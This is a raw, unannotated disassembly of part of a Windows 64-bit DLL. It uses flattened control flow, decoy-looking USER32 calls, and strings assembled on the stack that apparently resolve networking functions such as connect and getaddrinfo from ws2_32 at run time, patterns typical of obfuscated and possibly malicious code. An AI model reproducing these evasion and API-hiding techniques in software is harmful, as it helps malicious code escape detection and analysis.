call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
mov byte [rsp + 0x60], 0x30
mov ecx, 0xbd
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp case.0x18003556e.9
xor r8d, r8d
mov eax, edi
sub eax, 0x8a
je case.0x18003556e.9
sub eax, 1
je 0x180035913
sub eax, 1
je 0x1800358e2
cmp eax, 1
jne 0x180035984
lea rax, [0x180099038]
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x18], rax
mov dword [r14 + 4], r8d
mov qword [rbp + 0x810], r8
jmp 0x180035984
xor edx, edx
mov dword [rbp - 0x14], r8d
lea rcx, [rbp - 0x20]
mov dword [r14], 0x18
mov qword [rbp - 0x20], 5
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
jmp 0x180035984
movzx eax, byte [rsi]
lea r9, [rsp + 0x60]
mov byte [rsp + 0x60], al
xor edx, edx
mov rax, qword [r14 + 8]
mov ecx, 0xbd
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov eax, dword [rbp - 0x14]
xor r8d, r8d
mov r9, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x810]
mov rcx, qword [rbp + 0x20]
mov dword [rsp + 0x40], 2
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
call qword [sym.imp.USER32.dll_GrayStringA]
dec edi
cmp edi, 0x89
ja 0x1800358a0
mov edi, 0x8e
nop word [rax + rax]
cmp edi, 0x8c
jbe case.0x180038a5d.19
mov eax, edi
sub eax, 0x8d
je 0x180035a1b
cmp eax, 1
jne 0x180035a17
xor esi, esi
mov qword [r14], 0x17
xor edx, edx
mov qword [r14 + 8], rsi
lea r8d, [rax + 0x11]
mov qword [rbp - 0x20], 5
lea rcx, [rbp - 0x20]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov byte [rsp + 0x60], 0x2d
mov ecx, 0xbd
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
dec edi
jmp 0x1800359a0
mov rsi, qword [rbp - 0x60]
mov edi, 1
mov ecx, 0xc
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
mov r11, qword [rbp - 0x80]
inc ecx
mov r8d, 0
cmp ecx, 0xe
jb 0x180035522
mov r14d, 0x1ca
mov edx, dword [rsp + 0x6c]
jmp case.0x1800346dc.345
mov eax, 0x1f
cmp eax, 0x1f
je 0x180035a84
cmp eax, 0x763
je 0x180035a74
cmp eax, 0xea7
je case.0x180034497.56
jmp 0x180035b3d
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
jmp 0x180035b3d
movsx eax, byte [rsi]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x180038a5d.19
cdqe
movzx eax, byte [rcx + rax + 0x39730]
mov ecx, dword [rcx + rax*4 + 0x39728]
lea rax, [0x180000000]
add rcx, rax
jmp rcx
mov rsi, qword [rbp - 0x68]
cmp dword [rsi + 4], 0
jne 0x180035b21
mov rcx, qword [rsi + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
xor r8d, r8d
cmp rax, 0xfffffffffffffffe
jae 0x180035b1a
mov rax, qword [rbp - 0x60]
lea r9, [rsp + 0x60]
xor edx, edx
mov ecx, 0xbd
movzx eax, byte [rax]
mov byte [rsp + 0x60], al
mov rax, qword [rsi + 8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
xor r8d, r8d
jmp 0x180035b21
mov dword [rsi + 4], 1
mov dword [rsi], 1
mov rsi, qword [rbp - 0x60]
lea rcx, [0x180000000]
mov eax, 0x1f
mov r14d, 0x26e
add eax, 0x744
cmp eax, 0x15cc
jbe 0x180035a58
mov edx, dword [rsp + 0x6c]
jmp case.0x1800346dc.345
mov eax, r14d
sub eax, 0x297
je 0x180035c6f
sub eax, 0x29
je 0x180035c0e
sub eax, 0x29
je 0x18003620f
cmp eax, 0x29
jne case.0x1800346dc.345
mov qword [rbp + 0x10], r8
mov r14d, 0x312
mov esi, 0xc6
nop
mov eax, esi
sub eax, 0xc3
je case.0x180034497.56
sub eax, 1
je 0x180035bf0
sub eax, 1
je 0x180035bbf
cmp eax, 1
jne 0x180035bfb
mov rax, qword [rbp - 0x60]
cmp byte [rax], 0x73
jne case.0x180038a5d.19
mov qword [rbp - 0x10], r8
jmp 0x180035bfb
mov rax, qword [rbp - 0x68]
lea rdx, [rbp + 0x820]
mov rcx, qword [rbp - 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 0x820], xmm0
mov dword [rax], 0xd
movups xmmword [rbp + 0x830], xmm0
call qword [sym.imp.USER32.dll_GetIconInfo]
xor r8d, r8d
jmp 0x180035bfb
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
dec esi
cmp esi, 0xc2
ja 0x180035b90
mov edx, dword [rsp + 0x6c]
jmp case.0x1800346dc.345
mov ecx, 0x9f
mov eax, ecx
sub eax, 0x9e
je 0x180036251
cmp eax, 1
jne 0x180035c36
cmp byte [rsi], 0x75
jne case.0x180038a5d.19
mov qword [rbp - 0x38], r8
mov qword [rbp + 0x28], r8
dec ecx
cmp ecx, 0x9d
ja 0x180035c13
mov r14, qword [rbp - 0x68]
mov eax, 0x99
nop dword [rax]
cmp eax, 0x99
je 0x18003622c
dec eax
cmp eax, 0x98
ja 0x180035c50
mov r14d, 0x2c0
jmp case.0x1800346dc.345
mov r14, qword [rbp - 0x68]
mov esi, 0xb4
nop dword [rax + rax]
mov eax, esi
sub eax, 0xb4
je 0x180035d2d
sub eax, 0x20
je 0x180035d1e
sub eax, 0x20
je 0x180035ce7
sub eax, 0x20
je 0x180035cae
cmp eax, 0x20
je case.0x180034497.56
jmp 0x180035d32
cmp byte [rsp + 0x68], 0
je 0x180035cda
mov rcx, qword [rbp - 0x40]
lea r9, [rbp - 8]
mov r8d, 0x32
lea rdx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
jmp 0x180035d32
xor edx, edx
lea rcx, [rbp + 0x400]
mov r8d, 0x3e8
call fcn.1800544b0
mov ecx, 0xfffffff6
mov dword [r14], 8
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp - 0x40], rax
cmp rax, 0xffffffffffffffff
jne 0x180035d32
mov byte [rsp + 0x68], 0
jmp 0x180035d32
mov rax, qword [rbp - 0x60]
cmp byte [rax], 0x72
jne case.0x180038a5d.19
jmp 0x180035d32
mov byte [rsp + 0x68], 1
add esi, 0x20
cmp esi, 0x154
jb 0x180035c80
mov edx, dword [rsp + 0x6c]
xor r8d, r8d
mov r14d, 0x297
mov r11, qword [rbp - 0x80]
add r14d, 0x29
cmp r14d, edx
jae 0x18003628b
mov rsi, qword [rbp - 0x60]
lea rcx, [0x180000000]
jmp 0x180034452
mov eax, dword [rsp + 0x6c]
mov rbx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov r11, qword [rbp - 0x80]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rbx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180036608
mov eax, dword [rsp + 0x6c]
mov rbx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rbx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180038155
cmp byte [rsi], 0x6c
jne case.0x180038a5d.19
mov dword [r14], 0xc
mov eax, 1
jmp 0x180034b09
mov eax, dword [rsp + 0x6c]
mov esi, 0x2cc1
mov rbx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp + 0x870], r8
mov qword [rbp - 0x40], rbx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180038f6c
mov eax, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180036365
mov eax, dword [rsp + 0x6c]
movzx r9d, byte [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov r9d, dword [rbp - 0x54]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
mov esi, 0xf5d
jmp 0x180038f70
xor r8d, r8d
mov eax, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
movzx r12d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
mov byte [rsp + 0x6a], r12b
jmp 0x180036961
mov eax, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180036cc2
movzx eax, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x78]
movzx r13d, byte [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180037135
mov rdx, qword [rsp + 0x78]
mov ecx, 0x9e
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov r12d, dword [rsp + 0x6c]
mov byte [rsp + 0x50], r9b
movzx eax, byte [rsp + 0x50]
movzx r13d, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov dword [rsp + 0x6c], r12d
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180037634
mov eax, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180038133
movzx eax, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x78]
movzx r13d, byte [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x18003837b
mov eax, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
movzx r12d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
mov dword [rbp - 0x70], r12d
jmp 0x180038542
movzx eax, byte [rsp + 0x50]
mov esi, 0x939f
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x78]
movzx r13d, byte [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x180038f6c
mov eax, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x78]
movzx r9d, byte [rsp + 0x50]
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], r9b
movzx r13d, byte [rsp + 0x50]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov qword [rbp - 0x40], rdx
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
jmp 0x1800389c7
cmp byte [rsi], 0x61
jne case.0x180038a5d.19
mov rax, qword [rbp - 0x68]
mov dword [rax], 0xb
mov eax, 1
jmp 0x180034b09
cmp byte [rsi], 0x65
jne case.0x180038a5d.19
mov dword [r14], r8d
mov rax, qword [r11 + 0x30]
test rax, rax
je 0x180039193
call rax
mov eax, 1
jmp 0x180034b09
mov rax, qword [rbp - 0x68]
mov r9d, 1
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp - 0x38]
mov qword [rbp - 0x10], r8
lea r8, [rbp - 0x10]
mov dword [rax], 9
call qword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, 1
jmp 0x180034b09
mov rcx, qword [rbp - 0x38]
mov qword [rbp + 0x10], rcx
jmp 0x180036297
mov r12, qword [rbp - 0x68]
mov r9d, dword [rbp - 0x54]
mov rcx, qword [rbp + 0x10]
movzx eax, byte [rsp + 0x50]
mov esi, r9d
mov r15, qword [rsp + 0x78]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x78]
movzx r13d, byte [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0x6c], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x69], al
mov byte [rsp + 0x68], r13b
mov qword [rsp + 0x78], r15
imul eax, r9d, 0x252
mov dword [rbp - 0x48], esi
cmp esi, eax
ja case.0x180034497.56
cmp esi, 0x58d7
ja 0x180036c72
je 0x180036957
cmp esi, 0x2679
ja 0x180036464
je 0x18003643d
cmp esi, 0xf5d
ja 0x1800363f1
je 0x180035f28
mov eax, esi
sub eax, 0x93
je 0x1800363c9
sub eax, 0x18
je 0x180036361
cmp eax, 0xc8a
jne 0x180038f70
mov dword [rbp + 0x8b0], 0x6e6e6f63
mov dword [rbp + 0x8b4], 0x746365
jmp 0x180038f70
mov r14, qword [rbp - 0x68]
mov esi, 0xab
mov ebx, 0x40
nop
mov eax, ebx
sub eax, 0x40
je 0x180036394
sub eax, 0x2d
je 0x180036387
cmp eax, 0x2d
je case.0x180034497.56
jmp 0x1800363af
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
jmp 0x1800363af
mov rax, qword [rbp - 0x60]
cmp byte [rax], 0x65
jne case.0x180038a5d.19
mov dword [r14], r8d
mov rax, qword [r11 + 0x38]
test rax, rax
je 0x1800363af
call rax
mov r11, qword [rbp - 0x80]
add ebx, 0x2d
mov r8d, 0
cmp ebx, 0xc7
jb 0x180036370
jmp 0x180038f6c
mov r8d, 1
mov dword [rbp + 0x8c8], 0x6c
lea rdx, [0x18009962e]
lea rcx, [rbp + 0x8b8]
call fcn.1800568cc
jmp 0x180038f6c
cmp esi, 0x19d7
je 0x180036424
cmp esi, 0x1e0f
jne 0x180038f70
mov rax, qword [rbp - 0x60]
cmp byte [rax], 0x75
jne case.0x180038a5d.19
mov dword [r12], 0xf
mov eax, 1
jmp 0x180034b09
mov dword [rbp + 0x8e8], 0x730077
mov dword [rbp + 0x8ec], 0x5f0032
jmp 0x180038f70
mov eax, dword [0x1800993a6]
mov dword [rbp + 0x8f0], eax
movzx eax, word [0x1800993aa]
mov word [rbp + 0x8f4], ax
mov word [rbp + 0x8f6], r8w
jmp 0x180038f70
cmp esi, 0x3fbd
ja 0x180036580
je 0x180036507
cmp esi, 0x2cc1
je 0x180038fa4
cmp esi, 0x331b
je 0x1800364bc
cmp esi, 0x3b73
jne 0x180038f70
mov eax, 0x97
nop dword [rax + rax]
cmp eax, 0x97
je 0x180038f8a
add eax, 0xa07
cmp eax, 0xa07
jbe 0x1800364a0
jmp 0x180038f70
mov eax, dword [0x180099136]
movsd xmm0, qword [str.getaddrinfo]
mov dword [rbp + 0x8f6], eax
movzx eax, word [0x18009913a]
mov word [rbp + 0x8fa], ax
mov eax, dword [0x180099158]
mov dword [rbp + 0x938], eax
mov word [rbp + 0x8fc], r8w
movsd qword [rbp + 0x930], xmm0
mov word [rbp + 0x918], r8w
jmp 0x180038f70
mov r8d, 1
lea rdx, [0x18008f8f8]
lea rcx, [rbp + 0x918]
call fcn.1800568cc
movsd xmm0, qword [str.s2_32]
lea rdx, [0x18008f970]
mov eax, dword [0x18008f908]
lea rcx, [rbp + 0x918]
mov dword [rbp + 0x922], eax
mov r8d, 3
movsd qword [rbp + 0x91a], xmm0
mov dword [rbp + 0x924], 0x2e
call fcn.1800568cc
lea r8, [rbp + 0x890]
mov edx, 0x95
lea rcx, [rbp + 0x8b8]
call fcn.1800269e0
mov qword [rbp + 0x68], rax
jmp 0x180038f6c
cmp esi, 0x4a25
je 0x180036604
cmp esi, 0x4c5f
jne 0x180038f70
lea r8, [rbp + 0x8b0]
mov edx, 0x95
lea rcx, [rbp + 0x8e8]
call fcn.1800269e0
lea r8, [rbp + 0x930]
mov qword [rbp + 0x60], rax
mov edx, 0x95
lea rcx, [rbp + 0x918]
call fcn.1800269e0
mov r9d, 0x61
mov qword [rbp + 0x58], rax
xor r8d, r8d
xor edx, edx
mov rcx, r12
call fcn.1800184a0
test al, al
je 0x18003911d
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
jmp 0x180038f6c
mov r14, qword [rbp - 0x68]
mov ecx, 6
nop dword [rax]
mov eax, ecx
sub eax, 4
je case.0x180034497.56
sub eax, 1
je 0x180036933
cmp eax, 1
jne 0x18003693e
mov rax, qword [rbp - 0x60]
movsx eax, byte [rax]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x18003665b.14
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39780]
mov ecx, dword [rdx + rax*4 + 0x39768]
add rcx, rdx
jmp rcx
xor edx, edx
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
mov byte [rsp + 0x58], 0x2e
mov ecx, 0xbd
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov dword [r14], 0x12
lea ecx, [rax + 5]
jmp 0x18003693e
mov esi, 0x76
mov eax, esi
sub eax, 0x74
je 0x180036769
sub eax, 1
je 0x1800366e7
cmp eax, 1
jne 0x180036709
cmp qword [r14 + 8], 0
je 0x1800347eb
jmp 0x180036709
mov rax, qword [r11 + 0x28]
lea rbx, [r14 + 8]
test rax, rax
je 0x1800366fc
mov rcx, qword [rbx]
mov rcx, qword [rcx]
call rax
mov edx, 0xae
mov rcx, rbx
call fcn.1800329d0
mov r11, qword [rbp - 0x80]
dec esi
cmp esi, 0x73
ja 0x1800366c5
mov ebx, 0x83
nop dword [rax]
cmp ebx, 0x79ca
ja 0x1800367be
je 0x1800367ab
cmp ebx, 0x83
je 0x18003678a
cmp ebx, 0x28f0
je 0x18003677a
cmp ebx, 0x515d
jne 0x1800367e9
xor eax, eax
mov qword [rbp + 0x38], rax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x1800367e9
call qword [rax + 8]
jmp 0x1800367e9
mov dword [r14], 0
mov ecx, 6
jmp 0x18003693e
lea rcx, [r14 + 8]
mov edx, 0xae
call fcn.1800329d0
jmp 0x1800367e9
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x1800367e9
mov rcx, qword [rcx]
call rax
jmp 0x1800367e9
xor eax, eax
mov dword [r14], 0x1a
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x28], rax
jmp 0x1800367e9
cmp ebx, 0xa237
je 0x1800367d4
cmp ebx, 0xcaa4
je 0x18003691e
jmp 0x1800367e9
mov r9, qword [rbp + 0x28]
mov r8, qword [rbp - 0x10]
mov edx, dword [rbp - 0x14]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.USER32.dll_PostMessageA]
add ebx, 0x286d
cmp ebx, 0xf28e
jbe 0x180036720
mov ebx, 0x6f
cmp ebx, 0x6f
je 0x180036855
cmp ebx, 0x1158
je 0x18003683d
cmp ebx, 0x2241
jne 0x180036874
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x180036822
call qword [rax + 0x18]
mov rcx, qword [rbp + 0x40]
mov dword [r14], 0x1a
call qword [sym.imp.USER32.dll_DrawMenuBar]
mov ecx, 6
jmp 0x18003693e
lea rcx, [r14 + 8]
mov edx, 0xae
call fcn.1800329d0
mov qword [rbp + 0x40], 0
jmp 0x180036874
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x180036874
mov rcx, qword [rcx]
call rax
add ebx, 0x10e9
cmp ebx, 0x32bb
jbe 0x180036800
mov esi, 0x1b
nop dword [rax + rax]
mov eax, esi
sub eax, 0x18
je 0x180036925
sub eax, 1
je 0x1800368df
sub eax, 1
je 0x1800368b7
cmp eax, 1
jne 0x1800368ec
cmp qword [r14 + 8], 0
je 0x1800347eb
jmp 0x1800368ec
mov rax, qword [rbp - 0x80]
lea rbx, [r14 + 8]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x1800368d0
mov rcx, qword [rbx]
mov rcx, qword [rcx]
call rax
mov edx, 0xae
mov rcx, rbx
call fcn.1800329d0
jmp 0x1800368ec
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x1800368ec
call qword [rax + 0x48]
dec esi
cmp esi, 0x17
ja 0x180036890
mov eax, 0x9f
nop dword [rax + rax]
cmp eax, 0x9f
je 0x180038fc6
cmp eax, 0x3e1c
je 0x18003691e
add eax, 0x3d7d
cmp eax, 0x7afa
jbe 0x180036900
mov ecx, 6
jmp 0x18003693e
mov dword [r14], 0x1b
mov ecx, 6
jmp 0x18003693e
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
mov r11, qword [rbp - 0x80]
dec ecx
cmp ecx, 3
ja 0x180036610
mov esi, 0x4a25
jmp 0x180038f6c
mov r14, qword [rbp - 0x68]
movzx r12d, byte [rsp + 0x6a]
mov ecx, 0x7b
mov eax, ecx
sub eax, 0x7b
je 0x180036990
sub eax, 1
je 0x180036980
cmp eax, 1
je case.0x180034497.56
jmp 0x180036c5d
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
jmp 0x180036c5d
mov rbx, qword [rbp - 0x60]
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 9
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x397f8]
add rcx, rdx
jmp rcx
cmp dword [r14 + 4], 0
jne 0x180036c51
mov esi, r8d
mov dword [rbp - 0x48], r8d
nop word [rax + rax]
cmp esi, 0x78
ja case.0x1800369ed.6
mov eax, esi
movzx eax, byte [rdx + rax + 0x3983c]
mov ecx, dword [rdx + rax*4 + 0x39820]
add rcx, rdx
jmp rcx
test r12b, r12b
je 0x180036a01
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_FindClose]
xor r8d, r8d
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
xor r8d, r8d
cmp rax, 0xffffffffffffffff
jae 0x180036a5d
movzx eax, byte [rbx]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], al
xor edx, edx
mov rax, qword [r14 + 8]
mov ecx, 0xbd
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x180036c33
mov dword [r14 + 4], 1
jmp 0x180036c36
mov ebx, 0xbf
lea esi, [rbx - 0x70]
lea r14d, [rsi - 0x2f]
lea r12d, [rbx - 0x51]
nop word [rax + rax]
mov eax, ebx
sub eax, 0xbd
je 0x180036b44
sub eax, 1
je 0x180036ac6
cmp eax, 1
jne 0x180036b5b
lea r8d, [rax + 2]
mov word [rbp + 0x860], si
lea rdx, [0x180099350]
lea rcx, [rbp + 0x861]
call fcn.18005c310
mov word [rbp + 0x863], r12w
jmp 0x180036b5b
mov r8d, 1
lea rdx, [0x180099348]
lea rcx, [rbp + 0x860]
call fcn.180062ed0
lea rcx, [rbp + 0x860]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180036af0
movzx eax, word [0x180090058]
mov word [rcx], ax
lea rcx, [rbp + 0x860]
movzx eax, word [0x18009934c]
dec rcx
mov word [rbp + 0x866], ax
mov word [rbp + 0x868], r14w
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180036b24
movzx eax, word [0x180098a7c]
mov word [rcx], ax
movzx eax, byte [0x180098a7e]
mov byte [rcx + 2], al
jmp 0x180036b5b
mov r8, qword [rbp + 0x48]
lea rdx, [rbp + 0x860]
